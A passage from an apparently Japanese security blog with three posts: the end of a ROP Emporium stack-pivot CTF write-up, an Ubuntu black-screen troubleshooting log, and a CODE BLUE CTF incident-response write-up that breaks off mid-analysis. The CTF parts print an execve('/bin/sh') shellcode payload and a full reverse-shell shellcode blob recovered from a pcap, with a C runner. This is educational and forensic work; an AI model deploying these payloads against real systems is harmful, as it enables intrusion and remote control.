0x0804885f <+109>: call 0x80485b0 <fgets@plt> 0x08048864 <+114>: add esp,0x10 0x08048867 <+117>: sub esp,0xc 0x0804886a <+120>: push 0x8048a0c 0x0804886f <+125>: call 0x80485d0 <puts@plt> 0x08048874 <+130>: add esp,0x10 0x08048877 <+133>: sub esp,0xc 0x0804887a <+136>: push 0x8048a06 0x0804887f <+141>: call 0x8048590 <printf@plt> 0x08048884 <+146>: add esp,0x10 0x08048887 <+149>: mov eax,ds:0x804a060 0x0804888c <+154>: sub esp,0x4 0x0804888f <+157>: push eax 0x08048890 <+158>: push 0x3a 0x08048892 <+160>: lea eax,[ebp-0x28] 0x08048895 <+163>: push eax 0x08048896 <+164>: call 0x80485b0 <fgets@plt> 0x0804889b <+169>: add esp,0x10 0x0804889e <+172>: nop 0x0804889f <+173>: leave 0x080488a0 <+174>: ret End of assembler dump.
1度目のfgetsの前に push DWORD PTR [ebp+0x8]
という行があることから(ebpに∔すると渡された引数に対してアクセスできます.-すればローカル変数へ)pwnmeに渡された引数を,fgetsで受け取る先として使用しているのがわかります.
2度目のfgetsはいつものpwnmeと同様にローカル変数を格納先としています.
1度目のfgetsに渡された引数はどういうものなのか,mainを見ていこうと思います.
main
gdb-peda$ disas main Dump of assembler code for function main: 0x0804873b <+0>: lea ecx,[esp+0x4] 0x0804873f <+4>: and esp,0xfffffff0 0x08048742 <+7>: push DWORD PTR [ecx-0x4] 0x08048745 <+10>: push ebp 0x08048746 <+11>: mov ebp,esp 0x08048748 <+13>: push ecx 0x08048749 <+14>: sub esp,0x14 0x0804874c <+17>: mov eax,ds:0x804a064 0x08048751 <+22>: push 0x0 0x08048753 <+24>: push 0x2 0x08048755 <+26>: push 0x0 0x08048757 <+28>: push eax 0x08048758 <+29>: call 0x8048610 <setvbuf@plt> 0x0804875d <+34>: add esp,0x10 0x08048760 <+37>: mov eax,ds:0x804a040 0x08048765 <+42>: push 0x0 0x08048767 <+44>: push 0x2 0x08048769 <+46>: push 0x0 0x0804876b <+48>: push eax 0x0804876c <+49>: call 0x8048610 <setvbuf@plt> 0x08048771 <+54>: add esp,0x10 0x08048774 <+57>: sub esp,0xc 0x08048777 <+60>: push 0x8048950 0x0804877c <+65>: call 0x80485d0 <puts@plt> 0x08048781 <+70>: add esp,0x10 0x08048784 <+73>: sub esp,0xc 0x08048787 <+76>: push 0x8048966 0x0804878c <+81>: call 0x80485d0 <puts@plt> 0x08048791 <+86>: add esp,0x10 0x08048794 <+89>: sub esp,0xc 0x08048797 <+92>: push 0x1000000 0x0804879c <+97>: call 0x80485c0 <malloc@plt> 0x080487a1 <+102>: add esp,0x10 0x080487a4 <+105>: mov DWORD PTR [ebp-0xc],eax 0x080487a7 <+108>: mov eax,DWORD PTR [ebp-0xc] 0x080487aa <+111>: add eax,0xffff00 0x080487af <+116>: mov DWORD PTR [ebp-0x10],eax 0x080487b2 <+119>: sub esp,0xc 0x080487b5 <+122>: push DWORD PTR [ebp-0x10] 0x080487b8 <+125>: call 0x80487f2 <pwnme> 0x080487bd <+130>: add esp,0x10 0x080487c0 <+133>: mov DWORD PTR [ebp-0x10],0x0 0x080487c7 <+140>: sub esp,0xc 0x080487ca <+143>: push DWORD PTR [ebp-0xc] 0x080487cd <+146>: call 0x80485a0 <free@plt> 0x080487d2 <+151>: add esp,0x10 0x080487d5 <+154>: sub esp,0xc 0x080487d8 <+157>: push 0x804896e 0x080487dd <+162>: call 0x80485d0 <puts@plt> 0x080487e2 <+167>: add esp,0x10 0x080487e5 <+170>: mov eax,0x0 0x080487ea <+175>: mov ecx,DWORD PTR [ebp-0x4] 0x080487ed <+178>: leave 0x080487ee <+179>: lea esp,[ecx-0x4] 0x080487f1 <+182>: ret End of assembler dump.
pwnmeの前で0x1000000を引数にmallocしているのがわかると思います.その後 add eax,0xffff00
で,確保した領域からpwnmeへ渡す分を調整してpwnmeへそのアドレスを渡しています.つまり,1度目のfgetsはmallocで確保したheap領域を使っていることがわかります.2度目のfgetsはいつも通りの入力値でBoFします.
2度目のfgetsですが,いつも通りの入力値でBoFするのは確かなんですが,いつものように長い値を入れることができません.試しに,以下のような入力を試してみます.
$ python -c 'print "A\n" + "A" * 44 + "B" * 100' > input.txt
pwnmeのretにブレークポイントをしかけてスタックの状態を見てみます.
$ gdb pivot32 Reading symbols from pivot32...(no debugging symbols found)...done. gdb-peda$ b *0x80488a0 Breakpoint 1 at 0x80488a0 gdb-peda$ run < input.txt .............................................
[----------------------------------registers-----------------------------------] EAX: 0xffffbd00 ('A' <repeats 44 times>, 'B' <repeats 13 times>) EBX: 0x0 ECX: 0x0 EDX: 0xf7fa387c --> 0x0 ESI: 0xf7fa2000 --> 0x1b1db0 EDI: 0xf7fa2000 --> 0x1b1db0 EBP: 0x41414141 ('AAAA') ESP: 0xffffbd2c ('B' <repeats 13 times>) EIP: 0x80488a0 (<pwnme+174>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804889b <pwnme+169>: add esp,0x10 0x804889e <pwnme+172>: nop 0x804889f <pwnme+173>: leave => 0x80488a0 <pwnme+174>: ret 0x80488a1 <uselessFunction>: push ebp 0x80488a2 <uselessFunction+1>: mov ebp,esp 0x80488a4 <uselessFunction+3>: sub esp,0x8 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt> [------------------------------------stack-------------------------------------] 0000| 0xffffbd2c ('B' <repeats 13 times>) 0004| 0xffffbd30 ("BBBBBBBBB") 0008| 0xffffbd34 ("BBBBB") 0012| 0xffffbd38 --> 0x42 ('B') 0016| 0xffffbd3c --> 0x0 0020| 0xffffbd40 --> 0x1 0024| 0xffffbd44 --> 0xffffbe04 --> 0xffffc0b1 ("/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32") 0028| 0xffffbd48 --> 0xf7dedf08 --> 0xa41 ('A\n') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488a0 in pwnme () gdb-peda$
100文字入力したはずのBが,13文字しか格納されていないのがわかるでしょうか.
このように,今回の問題はスタックのスペースが限られています.よって,問題文にもある通りstack pivotというテクニックを使っていきます.
stack pivotとは?
ももテクさんの記事がわかりやすいので引用させて頂くと,
xchgは二つのレジスタの値を交換する命令である。 GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭が
box1->buf
に移動する。 そしてret命令が実行されると、box1->buf
の最初の4バイトが次のリターンアドレスとして参照される。 つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトでbox1->buf
にデータを入れておけば、そのままそれが実行されていくことになる。このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。
xchg esp,eax
mov esp,eax
add esp,[some constant]
つまり,xchgなどを使ってesp(スタックの先頭)を任意のアドレスと入れ替えれば,その後は入れ替えたアドレスの先を実行していくということで,今回のusefulGadgetsにも以下のようにstack pivotできるROP gadgetがあるのがわかります.
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x080488c0 <+0>: pop eax 0x080488c1 <+1>: ret 0x080488c2 <+2>: xchg esp,eax 0x080488c3 <+3>: ret 0x080488c4 <+4>: mov eax,DWORD PTR [eax] 0x080488c6 <+6>: ret 0x080488c7 <+7>: add eax,ebx 0x080488c9 <+9>: ret 0x080488ca <+10>: xchg ax,ax 0x080488cc <+12>: xchg ax,ax 0x080488ce <+14>: xchg ax,ax End of assembler dump.
usefulFunctionも見ておきます.
usefulFunction
gdb-peda$ disas uselessFunction Dump of assembler code for function uselessFunction: 0x080488a1 <+0>: push ebp 0x080488a2 <+1>: mov ebp,esp 0x080488a4 <+3>: sub esp,0x8 0x080488a7 <+6>: call 0x80485f0 <foothold_function@plt> 0x080488ac <+11>: sub esp,0xc 0x080488af <+14>: push 0x1 0x080488b1 <+16>: call 0x80485e0 <exit@plt> End of assembler dump.
foothold_function@pltを呼ぶだけのようです.今回はlibpivot32.soが渡されているので,foothold_functionの実体はここにありそうです.
問題文にも書いてあるのですが,今回のゴールはlibpivot32.soの中にあるret2winを呼ぶことです.ですがその前に,僕は1度目のfgetsでシェルコードを流し込んで,2度目でstack pivotして流し込んだシェルコードを実行できるのでは!?と思いました.
つまりこういうpayloadです.2度目のfgetsへはpop_eaxでeaxにpivot_addrを準備し,xchg_esp_eaxすることによりstack pivotを行うようなコード片を与えます.
payload = "" payload += "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x53\x31\xd2\x52\x6a\x0b\x58\xcd\x80" # shellcode payload += "\n" payload += "A" * 44 payload += p32(pop_eax) payload += p32(pivot_addr) payload += p32(xchg_esp_eax)
ですが,いざシェルコードまで遷移して実行しようとするとinvalidと言われてしまいました.これは,mallocで確保した領域に実行権限がないために起こります.
gdb-peda$ vmmap 0xf7dedf08 Start End Perm Name 0xf6dee000 0xf7df0000 rw-p mapped
rw-pとなっていて,実行権限がついていないことがわかるでしょうか.これはNXビットというセキュリティ機構によって実現されていて,今回NXビットが有効になっているのでこのようになります.
少し話がそれましたが,libpivot32.soの中にあるret2winを呼ぶためにはどうするかを考えます.ret2winはpivot32の中にはないので,このままではアドレスがわからず呼ぶことはできそうにないです.そのため,libpivot32.soのベースアドレスというものを求めます.ベースアドレスとはその共有ライブラリがどこにロードされているのかという情報です.
pedaで見てみます.vmmapというコマンドを使います.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0x08049000 0x0804a000 r--p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0x0804a000 0x0804b000 rw-p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0xf6dee000 0xf7df0000 rw-p mapped 0xf7df0000 0xf7fa0000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xf7fa0000 0xf7fa2000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xf7fa2000 0xf7fa3000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xf7fa3000 0xf7fa6000 rw-p mapped 0xf7fd0000 0xf7fd1000 r-xp /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd1000 0xf7fd2000 r--p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd2000 0xf7fd3000 rw-p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd3000 0xf7fd5000 rw-p mapped 0xf7fd5000 0xf7fd7000 r--p [vvar] 0xf7fd7000 0xf7fd9000 r-xp [vdso] 0xf7fd9000 0xf7ffb000 r-xp /lib/i386-linux-gnu/ld-2.23.so 0xf7ffb000 0xf7ffc000 rw-p mapped 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.23.so 0xfffdc000 0xffffe000 rw-p [stack]
0xf7fd0000にlibpivot32.soが読み込まれているのがわかるでしょうか.これがlibpivot32.soのベースアドレスです.
ではこれを,pivot32からどうにかして読み出します.その為には,シンボル解決された関数のアドレスを出力系の関数で流出させ,そこからその関数のlibc内でのオフセットを引きます.
今回はlibpivot32.soの中で使われているfoothold_functionという関数がpivot32の中にあるので,これを使います.方針としては以下のようになります.
- 1度目のfgetsにfoothold_function@plt,printf,main,foothold_function@gotの順に与える
- 2度目のfgetsでBoFさせてstack pivot
- 1度目のfgetsで格納したものが実行されていく
3でなにが起こるのかというと,foothold_functionはpivot32の中でまだ1度も呼ばれていないので,ここで初めて呼ぶことによってシンボル解決されます.その結果,GOT領域にfoothold_functionのアドレスが格納されるので,それをprintfで出力しています.出力されたアドレスからその関数のlibpivot32.so内でのオフセットを引きます.オフセットはgdbでもobjdumpでも求まります.
gdbでやってみると,
$ gdb libpivot32.so i Reading symbols from libpivot32.so...(no debugging symbols found)...done. gdb-peda$ i func All defined functions: Non-debugging symbols: 0x000005c0 _init 0x00000600 printf@plt 0x00000610 system@plt 0x00000620 exit@plt 0x00000640 __x86.get_pc_thunk.bx 0x00000650 deregister_tm_clones 0x00000690 register_tm_clones 0x000006e0 __do_global_dtors_aux 0x00000730 frame_dummy 0x0000076c __x86.get_pc_thunk.dx 0x00000770 foothold_function 0x0000079b void_function_01 0x000007c9 void_function_02 0x000007f7 void_function_03 0x00000825 void_function_04 0x00000853 void_function_05 0x00000881 void_function_06 0x000008af void_function_07 0x000008dd void_function_08 0x0000090b void_function_09 0x00000939 void_function_10 0x00000967 ret2win 0x00000995 __x86.get_pc_thunk.ax 0x0000099c _fini
foothold_functionを見るとアドレスが0x00000770になっていますが,これがlibpivot32.so内でのfoothold_functionのオフセットです.
以上より,上記の1ではprintfのリターン先をmainにしているので,2度目のmainの2度目のfgetsにて,「求めたlibpivot32.soのベースアドレス+ret2winのlibpivot32.so内でのオフセット(0x00000967)」に遷移させれば終わりです.stack pivot + return to libcという感じでしょうか.
exploitは以下のようになります.
exploit
$ python pivot32-exploit.py [+] Starting local process './pivot32': pid 21546 [*] '/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [+] Receiving all data: Done (259B) [*] Process './pivot32' stopped with exit code 0 (pid 21546) @\x85��`\x03���Z��pivot by ROP Emporium 32bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0xf6decf08 Send your second chain now and it will land there > Now kindly send your stack smash > ROPE{a_placeholder_32byte_flag!}
最後に
ここに書いたwriteupは,恐らく作問者が想定した解法ばかりだと思います.なので,想定していない解法で解くというのもまた楽しいし,勉強になると思います.
以上,激長writeupでしたが誤りがあればコメントなどでお願いいたします.
UbuntuのGUIが死んだ日
はじめに
先日,仙台CTFというイベントに参加したのですが,その際VirtualBoxに入れてある普段本当によく使うUbuntu16.04が,GUIが死んで画面が真っ暗になるという事故が起きていました.
このイベントでは仮想マシンが事前に配られてそれを使うのですが,CTF中は使い慣れたマシンも使いたいという思いがあったので,焦りました.
なんでこんなことが起きたのかというと,自分はWindows10でVirtualBoxを使っているのですが,会場でPCを1度シャットダウンする機会があったんですね.そこで,よく「起動中のプログラムがありますが,本当にシャットダウンしますか?」みたいにOSが気をきかせて言ってくることがあると思うんですけど,その際VirtualBoxが起動していたのですがそのまま気にせずシャットダウンしてしまいました.
今までもそれで不都合が起きたことはなかったので気にはしていなかったのですが,再びWindowsを起動し,VirtualBoxも起動してUbuntuを立ち上げてみたら,
真っ暗なんですね.
流石に焦ったのですが,「Ubuntu 真っ暗」とかで検索かければまぁいろいろ出てくる出てくるで,いくつか試せば簡単に直るやろ!wと思って試してみるも全く直る気配なし.
結局,Ubuntu14.04も入れてあったので,そちらを使ってなんとか乗り切りました.
その後
頑張って直しました.
試したことを時系列順に書こうかと思ったのですが,3つのカテゴリーに分けて箇条書きにしました.
役に立ったこと
/sbinへのPATHが通っておらず,upstart-udev-bridgeがないというエラーが出ていたので,/etc/environmentにPATHを書いた
.xsession-errors
を見てみると,以下のようなエラーが出ていました.
そこで, /etc/environment
に
PATH="/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/games:/usr/local/games"
という, .zshrc
に書いていたPATHをこちらにも書きました.
これが一番の原因だったっぽい.
lightdmのログを見てみる
/var/log/lightdm/lightdm.log
を見てみて,どれが原因なのかわからなかったけど,確かここで上記の .xsession-errors
という単語を知ったので,一応は役に立った?
役に立ったのか不明なこと
デスクトップ環境をUnityからGnomeに変更
ディスプレイマネージャーであるlightdmの原因かな?と思い,再インストールやらなんやらやっても直らなかったので,Unityの問題である可能性を考えて,Gnomeを入れてみた.
sudo apt-get install ubuntu-gnome-desktop
か sudo apt-get install gnome
どっちか(それとも両方?)実行した気がする.
(他にも tasksel 使って入れてみたりしたかな?覚えてない)
結局これだけでは直らなかったので,不明.
自動ログインをやめる
自動ログインするように設定していると,デスクトップ環境を選べないため.
これを行ったところ,ログイン画面では止まるようになったが,ログイン後なにも出てこず.
無駄だったこと
unity --reset
コマンドを打つととりあえずGUI環境は出てくるが,全画面表示にならないので,Ctrl + Alt + F7で全画面表示.
再起動するとダメだった.
startx
コンソールから startx
を入力することによって,とりあえずGUIは使えるようになったけど,根本的な原因が解決することはなかった.
/var/log/Xorg.0.logにfbdevのエラーが出ていたので,fbdevを入れてみる
GUIが死んだときに真っ先に Xorg.0.log
を見て,怪しそうなところを対処してみたやつ.
sudo apt-get install xserver-xorg-video-fbdev
直らない.却下.
sudo apt-get purge xserver-xorg-video-fbdev
compizの問題を疑い,これを初期化してみる
- 起動後,Ctrl + Alt + F1でコンソールに入る
DISPLAY=:0.0 gnome-terminal
を入力- Alt + F7でデスクトップ画面に復帰すると,新しい端末ウィンドウが出ているので,
dconf reset -f /org/compiz/
を入力 sudo shutdown -r now
これもダメだった.
ubuntu-desktopの再インストール
sudo apt-get install --reinstall ubuntu-desktop
これもダメ.
ディスプレイマネージャーの故障を疑い,初期化
/etc/X11/default-display-manager
には /usr/sbin/lightdm
とあったので,
dpkg-reconfigure lightdm
ダメ.
ディスプレイマネージャーの故障を疑い,再インストール
sudo apt-get purge lightdm
からの sudo apt-get install lightdm
ダメ.
lightdmがダメなのかと考え,gdmに変更してみる.
/etc/X11/default-display-manager
の内容を /usr/sbin/gdm3
に変更.
すると,起動時に The system is running in low-graphics mode
というエラーが出てきて論外.
この後,いろいろやってみてもgdmがダメそうなので,lightdmに戻した.
xorg.confがなかったので,/etc/X11に配置してみる
最初は拾ってきたものを配置してみたけどダメなので,ちゃんとしたものを配置してみる.
Xorg -configure
で自分の環境に合った xorg.conf
を自動生成してくれる便利コマンドがあるのですが,確かそのまま実行しようとするとエラーを吐かれるので,
sudo systemctl stop lightdm
sudo systemctl disable lightdm
で,ディスプレイマネージャーであるlightdmを止めてから無効化する.
すると, Xorg -configure
が通るので,生成された xorg.conf
を /etc/X11/
以下に配置.
再起動してみるも,変わらず.ダメ.
VirtualBoxのGuest Additionsを入れなおす
どこかで見かけてやってみたけどダメ.
まとめ
OS入れ直したほうが早いんじゃね?とか思った時もあったので,直ってよかった.
GUIが死んだときに真っ先に見るべき場所としては, /var/log/Xorg.0.log
と $HOME/.xsession-errors
だと思う.
なんのイジメなのか2点ほど新しくバグが出ていて,1つは PrtSc
を押すとフリーズするってやつと,もう1つは2回に1回ぐらいログイン画面でフリーズしてコンソールにも入れなくなるというバグ.
そろそろ他のLinux使えっていうことなんですかね.
参考
Linuxをインストールしたのに画面が黒いままで起動しないときの対処例
本の虫: Ubuntu 14.04のUnityの設定をぶっ壊した場合の修復方法
Ubuntu 16.04 LTS : GNOMEデスクトップ環境 : Server World
Ubuntu Unity その4 - Unity(Compiz)の設定を初期化する - kledgeb
Ubuntu 16.04 Unityが死亡したときの復旧メモ - ばずなダイアリー
Ubuntu 12.10 をインストールしたら low graphics mode になった話 - ぼくたち宇宙人
Ubuntuを起動したら「The system is running in low-graphics mode」と表示され、GUI環境が立ち上がらない - ITに疎いけど興味ある人のブログ
Ubuntu 14.04でログイン後ランチャーもツールバーも表示されない問題の復旧 - M12i.
Ubuntu系でGUIログイン出来ないのファイル破損かもよ - ぷちてく - Petittech
X Window が起動しなくなった! – KUJIRA note
Blank screen at boot - errors from Upstart on 16.04 - Ask Ubuntu
CODE BLUE CTF 2017 - Incident Response - Writeup
開催期間(JST)
11/09 AM10:00 ~ 11/10 PM4:00
結果
・チーム名:wabisabi
・得点:136 pt
・順位:得点したチーム中,138/555
はじめに
最初は難しすぎる印象があって参加する気がなかったのですが,いざ開始したのを見ると問題だけでも見てみるか,となって結局普通に参加してました.
ですが,Rev問が1問もわからずに諦めかけていたところ,チームメイトの一人が暗号を1問通してくれたので,やる気を取り戻してMiscのIncident Responseをやり始めました.
結局あと少しのところで解けなかったのですが,終了後に作問者のCharo_ITさんのツイートでなるほど,となって解けました.
以下,Writeupです.
Writeup
問題文
We found some strange activities on our web server. Can you find out what happened?
与えられたターボールを解凍すると, log.pcap
という名前のpcapファイルが得られるので,wiresharkで開いてみます.
怪しそうなところをFollow TCP Streamしたところです.
sessidとかはよくわかりませんが...GETなのにデータがくっついてるっぽいです.このバイナリデータはなんでしょうか?
ここの 172.17.0.10
から 172.17.0.2
に対してのHTTPリクエストが,上記のGETリクエストっぽいです.添付されてるデータをRaw(無加工)形式で抽出してみます.
全く分からないバイナリなので,ビットマップ表示してみます.
まだそんなに見慣れていないので断定はできませんが,ELFとかPEとかの実行形式っぽい?でしょうか.
逆アセンブルしてみます.
$ objdump -b binary -m i386 -M intel -D data > data.dis
中に /bin/sh
という文字列があるのですが,そこら辺を上手く逆アセンブルできてないっぽいので,x86-64で再度逆アセンブルしてみます.
$ objdump -b binary -m i386:x86-64 -M intel -D data > data.dis
今度はちゃんといけてるっぽいですね!
あとはこれをひたすら解析していきます.
先頭のほうを見るとわかるのですが, jmp 0x1ba
という命令があり,0x1baから始まる関数がmainっぽいです.
残りのバイナリもひたすら読んでいくと,mainとは別に3つの関数があるのがわかります.さらに,システムコールを呼ぶだけの関数?が10個以上あります.
システムコールは /usr/include/x86_64-linux-gnu/asm/unistd_64.h
を見ながら解析しました.
先頭のほう.
/dev/urandom
からデータを読み込む関数. read_urandom
と名付けます.
read_urandom
で読み込んだ32バイトを元に,なにかテーブルっぽいものを作っている関数. make_table
と名付けます.
わからんが,なにか作ってそう. make_something
と名付けます.
静的解析だけでもリバースシェルっぽいなとはわかるのですが,詳細な動作はわかりませんし, connect
ではどのホストでどのポートに繋いでいるのかもわかりません.
静的解析には限界があるので,動的解析に移りたいです.
先頭の jmp 0x1ba
より前の10バイトはゴミっぽいので除いておきます.
char code[] = "\xe9\xab\x01\x00\x00\x48\x31\xc0\x0f\x05\xc3\x48\x31\xc0\x48\xff\xc0\x0f\x05\xc3\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x03\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x09\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x48\xc7\xc0\x16\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x21\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x29\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x2a\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x39\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05\x48\xc7\xc0\x3d\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x66\x0f\x1f\x84\x00\x00\x00\x00\x00\x55\x53\x48\x89\xfd\x48\xb8\x2f\x64\x65\x76\x2f\x75\x72\x61\x31\xf6\x48\x83\xec\x18\x48\x89\xe7\x48\x89\x04\x24\xc7\x44\x24\x08\x6e\x64\x6f\x6d\xc6\x44\x24\x0c\x00\xe8\x56\xff\xff\xff\x48\x89\xee\x89\xc3\xba\x20\x00\x00\x00\x89\xc7\xe8\x36\xff\xff\xff\x89\xdf\xe8\x48\xff\xff\xff\x48\x83\xc4\x18\x5b\x5d\xc3\x0f\x1f\x00\xc7\x47\x04\x00\x00\x00\x00\xc7\x07\x00\x00\x00\x00\x31\xc0\x90\x88\x44\x07\x08\x48\x83\xc0\x01\x48\x3d\x00\x01\x00\x00\x75\xf0\x31\xc0\x31\xd2\x0f\x1f\x40\x00\x44\x0f\xb6\x44\x07\x08\x48\x89\xc1\x83\xe1\x1f\x45\x89\xc2\x44\x02\x14\x0e\x44\x89\xd1\x01\xca\x0f\xb6\xca\x44\x0f\xb6\x4c\x0f\x08\x48\x89\xca\x44\x88\x4c\x07\x08\x48\x83\xc0\x01\x44\x88\x44\x0f\x08\x48\x3d\x00\x01\x00\x00\x75\xc6\xf3\xc3\x66\x90\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x48\x85\xd2\x4c\x8d\x14\x16\x74\x47\x0f\x1f\x80\x00\x00\x00\x00\x8b\x07\x8b\x57\x04\x83\xc0\x01\x0f\xb6\xc0\x89\x07\x0f\xb6\x4c\x07\x08\x01\xca\x0f\xb6\xd2\x89\x57\x04\x44\x0f\xb6\x4c\x17\x08\x44\x88\x4c\x07\x08\x88\x4c\x17\x08\x02\x4c\x07\x08\x0f\xb6\xc9\x0f\xb6\x44\x0f\x08\x30\x06\x48\x83\xc6\x01\x49\x39\xf2\x75\xc0\xf3\xc3\x0f\x1f\x40\x00\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x41\x57\x41\x56\x31\xc0\x41\x55\x41\x54\xb9\x21\x00\x00\x00\x55\x53\x48\x81\xec\xb8\x01\x00\x00\x48\x8d\xac\x24\xa0\x00\x00\x00\x48\xc7\x44\x24\x60\x00\x00\x00\x00\x48\xc7\x44\x24\x68\x00\x00\x00\x00\x48\xc7\x44\x24\x70\x00\x00\x00\x00\x48\xc7\x44\x24\x78\x00\x00\x00\x00\x48\x89\xef\x48\xc7\x44\x24\x50\x00\x00\x00\x00\x48\xc7\x44\x24\x58\x00\x00\x00\x00\xf3\x48\xab\xe8\x4c\xfe\xff\xff\x85\xc0\x0f\x85\xe7\x01\x00\x00\x31\xd2\xbe\x01\x00\x00\x00\xbf\x02\x00\x00\x00\xe8\x1f\xfe\xff\xff\x48\x8d\x5c\x24\x60\x48\x8d\x74\x24\x50\xba\x02\x00\x00\x00\xb9\x7a\x69\x00\x00\x66\x89\x54\x24\x50\x89\xc7\xba\x10\x00\x00\x00\x66\x89\x4c\x24\x52\x41\x89\xc4\xc7\x44\x24\x54\xac\x11\x00\x0a\x4c\x8d\x74\x24\x40\xe8\xef\xfd\xff\xff\x48\x89\xdf\xe8\x24\xfe\xff\xff\xba\x20\x00\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x8f\xfd\xff\xff\x48\x89\xde\x48\x89\xef\xe8\x59\xfe\xff\xff\x45\x31\xc9\x41\xb8\xff\xff\xff\xff\xb9\x22\x00\x00\x00\xba\x03\x00\x00\x00\xbe\x00\x10\x00\x00\x31\xff\xe8\x82\xfd\xff\xff\x48\x89\xc3\x48\x8d\x44\x24\x30\x48\x89\x44\x24\x08\x48\x8d\x44\x24\x20\x48\x89\x44\x24\x18\x48\x8d\x84\x24\x80\x00\x00\x00\x48\x89\x44\x24\x10\x66\x0f\x1f\x44\x00\x00\xba\x00\x10\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x25\xfd\xff\xff\x48\x85\xc0\x0f\x84\x17\x01\x00\x00\x48\x3d\x00\x10\x00\x00\x74\x04\xc6\x04\x03\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x4d\xfe\xff\xff\x48\x8b\x7c\x24\x08\xe8\x28\xfd\xff\xff\xe8\x4b\xfd\xff\xff\x85\xc0\x41\x89\xc5\x74\x67\x8b\x7c\x24\x34\xe8\xfc\xfc\xff\xff\xeb\x20\x0f\x1f\x40\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x1a\xfe\xff\xff\x4c\x89\xfa\x48\x89\xde\x44\x89\xe7\xe8\xc7\xfc\xff\xff\x8b\x7c\x24\x30\xba\x00\x10\x00\x00\x48\x89\xde\xe8\xb0\xfc\xff\xff\x48\x85\xc0\x49\x89\xc7\x75\xcb\x8b\x7c\x24\x30\xe8\xb8\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xc9\x31\xd2\x44\x89\xef\xe8\x03\xfd\xff\xff\xe9\x54\xff\xff\xff\x0f\x1f\x40\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x31\xff\xc6\x44\x24\x22\x00\x48\x89\x44\x24\x40\xb8\x2d\x63\x00\x00\x4c\x89\xb4\x24\x80\x00\x00\x00\x66\x89\x44\x24\x20\x48\x8b\x44\x24\x18\x48\x89\x9c\x24\x90\x00\x00\x00\x48\xc7\x84\x24\x98\x00\x00\x00\x00\x00\x00\x00\x48\x89\x84\x24\x88\x00\x00\x00\xe8\x50\xfc\xff\xff\x8b\x7c\x24\x30\xe8\x47\xfc\xff\xff\x8b\x7c\x24\x34\xbe\x01\x00\x00\x00\xe8\x5a\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xd2\x4c\x89\xf7\xe8\x73\xfc\xff\xff\xe9\xd7\xfe\xff\xff\x0f\x1f\x80\x00\x00\x00\x00\x31\xff\xe8\x6a\xfc\xff\xf"; int main(){ (*(void (*)())code)(); }
ももテクさんの記事( Linux x86用のシェルコードを書いてみる - ももいろテクノロジー )を参考にしました.
以下が,gdb-pedaで解析時の connect
を呼ぶ時の引数です.
Guessed arguments: arg[0]: 0x3 arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 arg[2]: 0x10 arg[3]: 0x697a ('zi')
connect
を呼ぶ時の引数は connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("127.0.0.1")}, 16)
のようになっているはずですが,そう考えると
arg[0]: 0x3 <- 3 arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 <- {sa_family, sin_port, sin_addr} arg[2]: 0x10 <- 16 arg[3]: 0x697a ('zi')
こんな感じでしょうか.4つ目の引数はよくわかりません.
0xa0011ac697a0002
のうち,どれがホストでどれがポート番号なのかわからないので,ソケット通信するプログラムを拾ってきて,調べたところ,
